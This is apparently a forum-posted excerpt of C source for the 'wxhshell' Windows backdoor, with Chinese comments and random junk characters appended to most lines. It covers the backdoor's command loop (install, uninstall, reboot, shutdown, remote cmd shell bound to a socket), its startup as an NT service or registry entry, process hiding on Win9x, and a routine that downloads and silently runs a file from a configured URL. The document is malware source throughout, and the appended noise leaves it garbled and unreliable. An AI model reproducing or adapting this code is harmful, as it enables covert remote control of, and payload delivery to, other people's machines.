      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6*,55,y  
    break; M^ * ~?9  
  } ZK4V-?/[6  
  // 安装 f>xi (0  
  case 'i': { 6 o   
    if(Install()) f5M;q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YXTV$A+lW  
    else }.s%J\ckx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q(A$ >A  
    break; Dl~(NLM  
    } `3? HQ2n  
  // 卸载 gdSqG2/&  
  case 'r': { >+<b_q|P  
    if(Uninstall()) ^?]-Q*w3Qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a/s5Oit2'X  
    else &kvmLOI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vx7=I\1  
    break; ic}TiTK  
    } o6w8Y/VPu  
  // 显示 wxhshell 所在路径 zrSYLG  
  case 'p': { L[:A Ue  
    char svExeFile[MAX_PATH]; |d~'X%b%  
    strcpy(svExeFile,"\n\r"); M^OYQf  
      strcat(svExeFile,ExeFile); ^6{op3R_  
        send(wsh,svExeFile,strlen(svExeFile),0); <!G\%C  
    break; gP|-A`y  
    } ,gpEXU p\  
  // 重启 ;`xCfOY(  
  case 'b': { 2Y9u9;ah  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tz?3R#rM  
    if(Boot(REBOOT)) 0datzEns`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #: [F=2@,A  
    else { zC:Pg4=w]  
    closesocket(wsh); =mX26l`B  
    ExitThread(0); o=!_.lDF:  
    } %R?WkG  
    break; ;:oXe*d  
    } &'zc2  
  // 关机 t%e<]2-8  
  case 'd': { ]Hl{(v\H O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QoUdTIIL  
    if(Boot(SHUTDOWN)) _R]0S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M(xN6E  
    else { qGhg?u"n:  
    closesocket(wsh); WqM| nX  
    ExitThread(0); i/C% 1<  
    } cGm?F,/`  
    break; [;yH.wn#5  
    } V=fh;p  
  // 获取shell AB3OG*C9  
  case 's': { 8kcMgCO  
    CmdShell(wsh); yaG:}=.3  
    closesocket(wsh); ,?jc0L.'r]  
    ExitThread(0); "~.4z,ha  
    break; Yh^8 !  
  } Ri AMW|M"C  
  // 退出 kf<c[su  
  case 'x': { CvZ\Z472.j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N3lz-vP-  
    CloseIt(wsh); o(DG 3qk  
    break; DC/Czkv9  
    } {U>N*&_`  
  // 离开 qe(gKKA%q  
  case 'q': { 7@g0>1Fz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RhB)AUAj  
    closesocket(wsh); %rhZH^2  
    WSACleanup(); iF +@aA  
    exit(1); }=\?]9`  
    break; CV=qcD  
        } f|_\GVW  
  } < @GO]vY  
  } 2?6]Xbs{  
xR kw+  
  // 提示信息 j `!Ge  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nhMxw @Z\  
} xDl; tFI  
  } &uc`w{,Zs  
dG0zA D  
  return; NZZy^p&O  
} M:oM(K+  
$kN=45SR  
// shell模块句柄 oj{CNa  
int CmdShell(SOCKET sock) \1<|X].jNY  
{ !"yr;t>|Zb  
STARTUPINFO si; 7T6Zlp  
ZeroMemory(&si,sizeof(si)); 5y g`TW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $v#`2S(7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &L+.5i  
PROCESS_INFORMATION ProcessInfo; G!B:>P|\l  
char cmdline[]="cmd"; Fx.Ly]L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n6t@ e^  
  return 0; ?ZGsh7<k  
} U$OI]Dd9  
 7 FY2a  
// 自身启动模式 K^@9\cl^  
int StartFromService(void) O9>$(`@I  
{ VJTO:}Q  
typedef struct uY>M3h#qx  
{ ZB)R4  
  DWORD ExitStatus; ? _bFe![q  
  DWORD PebBaseAddress; ;ltk}hJ]  
  DWORD AffinityMask; 8kdJtEW3  
  DWORD BasePriority; &)+H''JY  
  ULONG UniqueProcessId; JN9>nC!Zy_  
  ULONG InheritedFromUniqueProcessId; ^vT!24sK  
}   PROCESS_BASIC_INFORMATION; VZr:yE  
>w7KOVbN3  
PROCNTQSIP NtQueryInformationProcess; ^<-r57pz  
@q>Hl`a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M!i|,S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \5!7zPc  
NZ i3U  
  HANDLE             hProcess; g<;::'6  
  PROCESS_BASIC_INFORMATION pbi; ,e9M%VIu6[  
IaSpF<&Y;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2'-"&d+ O  
  if(NULL == hInst ) return 0; *IWW,@0  
w$9LcN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <,GVrVH=t"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Ji$igL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g6lWc@]F  
AnX<\7bc}  
  if (!NtQueryInformationProcess) return 0; ZfqN4  
z#o''  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y2 J-`o$5  
  if(!hProcess) return 0; @>VVB{1@,]  
jy2gR1~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pk.\IKlG]  
^5Lk}<utw  
  CloseHandle(hProcess); n6WKk+  
8aWEl%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kd^.>T-  
if(hProcess==NULL) return 0; Mhti  
300w\9fn&  
HMODULE hMod; kUS]g r~i  
char procName[255]; `q<W %'Tb$  
unsigned long cbNeeded; U7 D!w$4  
&5R|{',(Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'n,V*9  
ML\>TDt  
  CloseHandle(hProcess); kO3\v)B;  
Pb8@owG8  
if(strstr(procName,"services")) return 1; // 以服务启动 "#o..?K  
CKK}Z;~:  
  return 0; // 注册表启动 ]r|oNGD)G  
} :[_ms d  
1 rhZlmf[r  
// 主模块 "t.` /4R2w  
int StartWxhshell(LPSTR lpCmdLine) q {Z#}|km#  
{ m?<E >-bI  
  SOCKET wsl; ~o%igJ }.C  
BOOL val=TRUE; xH*X5?  
  int port=0; HVHv,:bPo  
  struct sockaddr_in door; qJdlZW<  
\_8wU' 7  
  if(wscfg.ws_autoins) Install(); xxu  
jO&*E 'pk  
port=atoi(lpCmdLine); 9ET1Er{4  
0(eaVi-%D  
if(port<=0) port=wscfg.ws_port; vsj4? 0=  
^r&)@R$V  
  WSADATA data; 7:<w)Al!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *$vH]>)p  
*|dr-e_j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Rw,4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kzRJzJquP  
  door.sin_family = AF_INET; \|S!g_30m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _/I">/ivlM  
  door.sin_port = htons(port); P$z_A8}  
1Q>nS[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \\FT.e6  
closesocket(wsl); .N qXdari  
return 1; jhm??Af  
} m<-ShRr*b  
I} jgz  
  if(listen(wsl,2) == INVALID_SOCKET) { 3@gsKtA&H4  
closesocket(wsl); V|_ h[hXE  
return 1; dg24h7|]  
} A<X?1$  
  Wxhshell(wsl); )?$[iu7 s  
  WSACleanup(); D:_W;b)  
c[,h|~K/_?  
return 0; 6UeYZ g  
R{H[< s+n  
} e(? w h   
$mn0I69  
// 以NT服务方式启动 D=#RQ-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ",$_\l  
{ f_jhQ..g<g  
DWORD   status = 0; AzOs/q8O  
  DWORD   specificError = 0xfffffff; ;2<5^hgk  
P"Al*{:J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q#W|fkfx+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h= sNj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 aA* ~\  
  serviceStatus.dwWin32ExitCode     = 0; hGz_F/  
  serviceStatus.dwServiceSpecificExitCode = 0; Kp`{-dUf  
  serviceStatus.dwCheckPoint       = 0; nMyl( kF[  
  serviceStatus.dwWaitHint       = 0; #0P_\X`E   
H;1@]|sH#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P0n1I7|  
  if (hServiceStatusHandle==0) return; A I.(}W4]  
n:%4 SZn  
status = GetLastError(); 9D3{[  
  if (status!=NO_ERROR) /kbU<  
{ S<"Fp1#"l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RRIh;HhX  
    serviceStatus.dwCheckPoint       = 0; |vI`u[P  
    serviceStatus.dwWaitHint       = 0; ?;ok9Y  
    serviceStatus.dwWin32ExitCode     = status; G.rz6o;  
    serviceStatus.dwServiceSpecificExitCode = specificError; <e2l@@#oy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 ~zjsi  
    return; lT|Gkm<G  
  } ITn%  
K oJ=0jM#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ec&/a2M  
  serviceStatus.dwCheckPoint       = 0; {]T?)!V m  
  serviceStatus.dwWaitHint       = 0; @Vre)OrN#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0<uek  
} Ek_5% n  
y7,I10:D  
// 处理NT服务事件,比如:启动、停止 =SfNA F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s<s}6|Z  
{ 8=`L#FkRp  
switch(fdwControl) ).SJ*Re*^I  
{ k QuEG5n.-  
case SERVICE_CONTROL_STOP: KewW8H~tb  
  serviceStatus.dwWin32ExitCode = 0; X4 Arn,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AE0uBv  
  serviceStatus.dwCheckPoint   = 0; ~L)~p%rbi  
  serviceStatus.dwWaitHint     = 0; ~3F'X  
  { uuC ["Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jka>Er  
  } {zwH3)|Hn  
  return; ngo> ^9/8  
case SERVICE_CONTROL_PAUSE: n)e2?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LhJUoX  
  break; srGOIK.  
case SERVICE_CONTROL_CONTINUE: 0MWW( ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >JyS@j}  
  break; H7zN|NdNw  
case SERVICE_CONTROL_INTERROGATE: jRJG .hcB5  
  break; xZ'fer`&  
}; 'C1lP)S5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ytZo0pad  
} Bf ut mI  
oac)na:O#  
// 标准应用程序主函数 *F\wWg'!B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n i#jAwkN5  
{ 6"Uu;Q  
\^!;r9z=A  
// 获取操作系统版本 J9Ao*IW~  
OsIsNt=GetOsVer(); 1BSd9Ydj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B9maz"lJ  
Xs0)4U  
  // 从命令行安装 mUBy*.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2q~ .,vpP  
\SWTP1  
  // 下载执行文件 *uc/| c  
if(wscfg.ws_downexe) {  IO\l8G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^A$=6=CX  
  WinExec(wscfg.ws_filenam,SW_HIDE); DrJ?bG;[  
} d:%b  
K./qu^+k  
if(!OsIsNt) { Bs"D<r&ro  
// 如果时win9x,隐藏进程并且设置为注册表启动 m2PUU/8B/  
HideProc(); ]auvtm- [  
StartWxhshell(lpCmdLine); QAs)zl0  
} m'rDoly"62  
else p='j/=  
  if(StartFromService()) $}9jv3>)  
  // 以服务方式启动 6'^_*n  
  StartServiceCtrlDispatcher(DispatchTable); 9@ k8$@  
else &dyQ6i$],  
  // 普通方式启动 ,!#Am13  
  StartWxhshell(lpCmdLine); Gv-VDRS  
Q:-T' xk@  
return 0; TnF~'RZYb  
}
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只看该作者 1 发表于: 2006-10-10
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